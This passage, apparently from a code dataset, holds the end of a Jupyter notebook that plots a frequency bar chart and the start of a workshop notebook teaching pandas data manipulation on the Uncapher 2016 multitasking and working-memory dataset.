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\">" ], "text/plain": [ "<IPython.core.display.HTML object>" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/plain": [ "<matplotlib.text.Text at 0x7f965e757a90>" ] }, "execution_count": 44, "metadata": {}, "output_type": "execute_result" } ], "source": [ "%matplotlib notebook\n", "import matplotlib.pyplot as plt\n", "\n", "x_pos = np.arange(len(xi))\n", "print(x_pos)\n", "plt.figure(1)\n", "plt.bar(x_pos, fi,align='center')\n", "plt.ylim(0, max(fi) + 0.5)\n", "plt.xticks(np.arange(5), xi)\n", "plt.xlabel(\"xi\")\n", "plt.ylabel(\"fi\")" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [] } ], "metadata": { "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.4.3" } }, "nbformat": 4, "nbformat_minor": 0 }

mit

monicathieu/cu-psych-r-tutorial

public/tutorials/python/3-datamanipulation/index.ipynb

2

34179

{ "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "---\n", "title: \"Data Manipulation in Python\"\n", "subtitle: \"CU Psych Scientific Computing Workshop\"\n", "weight: 1301\n", "tags: [\"core\", \"python\"]\n", "\n", "---" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Goals of this Lesson\n", "\n", "### Students will learn:\n", "\n", "1. How to group and categorize data in Python\n", "2. How to generative descriptive statistics in Python\n", "\n", "## Links to Files and Video Recording\n", "\n", "The files for all tutorials can be downloaded from [the Columbia Psychology Scientific Computing GitHub page](https://github.com/cu-psych-computing/cu-psych-comp-tutorial) using [these instructions](/accessing-files/). This particular file is located here: `/content/tutorials/python/3-datamanipulation/index.ipynb`.\n", "\n", "For a video recording of this tutorial from the Fall 2020 workshop, please visit the <a href=\"/workshop-recording/session3/\" target=\"_blank\">Workshop Recording: Session 3</a> page." ] }, { "cell_type": "code", "execution_count": 1, "metadata": {}, "outputs": [], "source": [ "# load packages we will be using for this lesson\n", "import pandas as pd" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "---\n", "## Open Dataset and Load Package\n", "\n", "This dataset examines the relationship between multitasking and working memory. [Link here to original paper by Uncapher et al. 2016.](https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4733435/pdf/nihms712443.pdf)\n" ] }, { "cell_type": "code", "execution_count": 2, "metadata": {}, "outputs": [], "source": [ "# use pd.read_csv to open data into python\n", "df = pd.read_csv(\"uncapher_2016_repeated_measures_dataset.csv\")" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "---\n", "## Familiarize Yourself with the Data\n", "\n", "\n", "Quick review from [Data Cleaning](/tutorials/python/2-datacleaning/): take a look at the basic data structure, number of rows and columns.\n" ] }, { "cell_type": "code", "execution_count": 3, "metadata": {}, "outputs": [ { "data": { "text/html": [ "<div>\n", "<style scoped>\n", " .dataframe tbody tr th:only-of-type {\n", " vertical-align: middle;\n", " }\n", "\n", " .dataframe tbody tr th {\n", " vertical-align: top;\n", " }\n", "\n", " .dataframe thead th {\n", " text-align: right;\n", " }\n", "</style>\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>subjNum</th>\n", " <th>groupStatus</th>\n", " <th>numDist</th>\n", " <th>conf</th>\n", " <th>hitCount</th>\n", " <th>allOldCount</th>\n", " <th>rtHit</th>\n", " <th>faCount</th>\n", " <th>allNewCount</th>\n", " <th>rtFA</th>\n", " <th>distPresent</th>\n", " <th>hitRate</th>\n", " <th>faRate</th>\n", " <th>dprime</th>\n", " <th>mmi</th>\n", " <th>adhd</th>\n", " <th>bis</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td>6</td>\n", " <td>HMM</td>\n", " <td>0</td>\n", " <td>hi</td>\n", " <td>18</td>\n", " <td>25</td>\n", " <td>0.990657</td>\n", " <td>3</td>\n", " <td>50</td>\n", " <td>1.062458</td>\n", " <td>nodist</td>\n", " <td>0.711538</td>\n", " <td>0.068627</td>\n", " <td>2.043976</td>\n", " <td>5.77</td>\n", " <td>4</td>\n", " <td>74</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td>6</td>\n", " <td>HMM</td>\n", " <td>6</td>\n", " <td>hi</td>\n", " <td>14</td>\n", " <td>25</td>\n", " <td>0.951638</td>\n", " <td>3</td>\n", " <td>50</td>\n", " <td>1.062458</td>\n", " <td>dist</td>\n", " <td>0.557692</td>\n", " <td>0.068627</td>\n", " <td>1.631213</td>\n", " <td>5.77</td>\n", " <td>4</td>\n", " <td>74</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td>10</td>\n", " <td>HMM</td>\n", " <td>0</td>\n", " <td>hi</td>\n", " <td>5</td>\n", " <td>25</td>\n", " <td>1.081535</td>\n", " <td>8</td>\n", " <td>50</td>\n", " <td>1.036764</td>\n", " <td>nodist</td>\n", " <td>0.211538</td>\n", " <td>0.166667</td>\n", " <td>0.166327</td>\n", " <td>6.21</td>\n", " <td>4</td>\n", " <td>51</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td>10</td>\n", " <td>HMM</td>\n", " <td>6</td>\n", " <td>hi</td>\n", " <td>5</td>\n", " <td>25</td>\n", " <td>0.999527</td>\n", " <td>8</td>\n", " <td>50</td>\n", " <td>1.036764</td>\n", " <td>dist</td>\n", " <td>0.211538</td>\n", " <td>0.166667</td>\n", " <td>0.166327</td>\n", " <td>6.21</td>\n", " <td>4</td>\n", " <td>51</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td>14</td>\n", " <td>HMM</td>\n", " <td>0</td>\n", " <td>hi</td>\n", " <td>3</td>\n", " <td>25</td>\n", " <td>2.346210</td>\n", " <td>4</td>\n", " <td>50</td>\n", " <td>2.075087</td>\n", " <td>nodist</td>\n", " <td>0.134615</td>\n", " <td>0.088235</td>\n", " <td>0.246866</td>\n", " <td>8.60</td>\n", " <td>5</td>\n", " <td>62</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " subjNum groupStatus numDist conf hitCount allOldCount rtHit \\\n", "0 6 HMM 0 hi 18 25 0.990657 \n", "1 6 HMM 6 hi 14 25 0.951638 \n", "2 10 HMM 0 hi 5 25 1.081535 \n", "3 10 HMM 6 hi 5 25 0.999527 \n", "4 14 HMM 0 hi 3 25 2.346210 \n", "\n", " faCount allNewCount rtFA distPresent hitRate faRate dprime \\\n", "0 3 50 1.062458 nodist 0.711538 0.068627 2.043976 \n", "1 3 50 1.062458 dist 0.557692 0.068627 1.631213 \n", "2 8 50 1.036764 nodist 0.211538 0.166667 0.166327 \n", "3 8 50 1.036764 dist 0.211538 0.166667 0.166327 \n", "4 4 50 2.075087 nodist 0.134615 0.088235 0.246866 \n", "\n", " mmi adhd bis \n", "0 5.77 4 74 \n", "1 5.77 4 74 \n", "2 6.21 4 51 \n", "3 6.21 4 51 \n", "4 8.60 5 62 " ] }, "execution_count": 3, "metadata": {}, "output_type": "execute_result" } ], "source": [ "df.head()" ] }, { "cell_type": "code", "execution_count": 4, "metadata": {}, "outputs": [ { "data": { "text/plain": [ "(136, 17)" ] }, "execution_count": 4, "metadata": {}, "output_type": "execute_result" } ], "source": [ "df.shape" ] }, { "cell_type": "code", "execution_count": 5, "metadata": {}, "outputs": [ { "data": { "text/plain": [ "Index(['subjNum', 'groupStatus', 'numDist', 'conf', 'hitCount', 'allOldCount',\n", " 'rtHit', 'faCount', 'allNewCount', 'rtFA', 'distPresent', 'hitRate',\n", " 'faRate', 'dprime', 'mmi', 'adhd', 'bis'],\n", " dtype='object')" ] }, "execution_count": 5, "metadata": {}, "output_type": "execute_result" } ], "source": [ "df.columns" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "---\n", "## Selecting Relevant Variables\n", "\n", "Sometimes datasets have many variables that are unnecessary for a given analysis. To simplify your life, and your code, we can select only the given variables we'd like to use for now.\n" ] }, { "cell_type": "code", "execution_count": 6, "metadata": {}, "outputs": [ { "data": { "text/html": [ "<div>\n", "<style scoped>\n", " .dataframe tbody tr th:only-of-type {\n", " vertical-align: middle;\n", " }\n", "\n", " .dataframe tbody tr th {\n", " vertical-align: top;\n", " }\n", "\n", " .dataframe thead th {\n", " text-align: right;\n", " }\n", "</style>\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>subjNum</th>\n", " <th>groupStatus</th>\n", " <th>adhd</th>\n", " <th>hitRate</th>\n", " <th>faRate</th>\n", " <th>dprime</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td>6</td>\n", " <td>HMM</td>\n", " <td>4</td>\n", " <td>0.711538</td>\n", " <td>0.068627</td>\n", " <td>2.043976</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td>6</td>\n", " <td>HMM</td>\n", " <td>4</td>\n", " <td>0.557692</td>\n", " <td>0.068627</td>\n", " <td>1.631213</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td>10</td>\n", " <td>HMM</td>\n", " <td>4</td>\n", " <td>0.211538</td>\n", " <td>0.166667</td>\n", " <td>0.166327</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td>10</td>\n", " <td>HMM</td>\n", " <td>4</td>\n", " <td>0.211538</td>\n", " <td>0.166667</td>\n", " <td>0.166327</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td>14</td>\n", " <td>HMM</td>\n", " <td>5</td>\n", " <td>0.134615</td>\n", " <td>0.088235</td>\n", " <td>0.246866</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " subjNum groupStatus adhd hitRate faRate dprime\n", "0 6 HMM 4 0.711538 0.068627 2.043976\n", "1 6 HMM 4 0.557692 0.068627 1.631213\n", "2 10 HMM 4 0.211538 0.166667 0.166327\n", "3 10 HMM 4 0.211538 0.166667 0.166327\n", "4 14 HMM 5 0.134615 0.088235 0.246866" ] }, "execution_count": 6, "metadata": {}, "output_type": "execute_result" } ], "source": [ "df = df[[\"subjNum\", \"groupStatus\", \"adhd\", \"hitRate\", \"faRate\", \"dprime\"]]\n", "df.head()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "---\n", "## Basic Descriptives\n", "### Summarizing data\n", "Let's learn how to make simple tables of summary statistics.\n", "First, we will calculate summary info across all data using `describe()`, a useful function for creating summaries. Note that we're not creating a new object for this summary (i.e. not using the `=` symbol), so this will print but not save.\n" ] }, { "cell_type": "code", "execution_count": 7, "metadata": {}, "outputs": [ { "data": { "text/html": [ "<div>\n", "<style scoped>\n", " .dataframe tbody tr th:only-of-type {\n", " vertical-align: middle;\n", " }\n", "\n", " .dataframe tbody tr th {\n", " vertical-align: top;\n", " }\n", "\n", " .dataframe thead th {\n", " text-align: right;\n", " }\n", "</style>\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>subjNum</th>\n", " 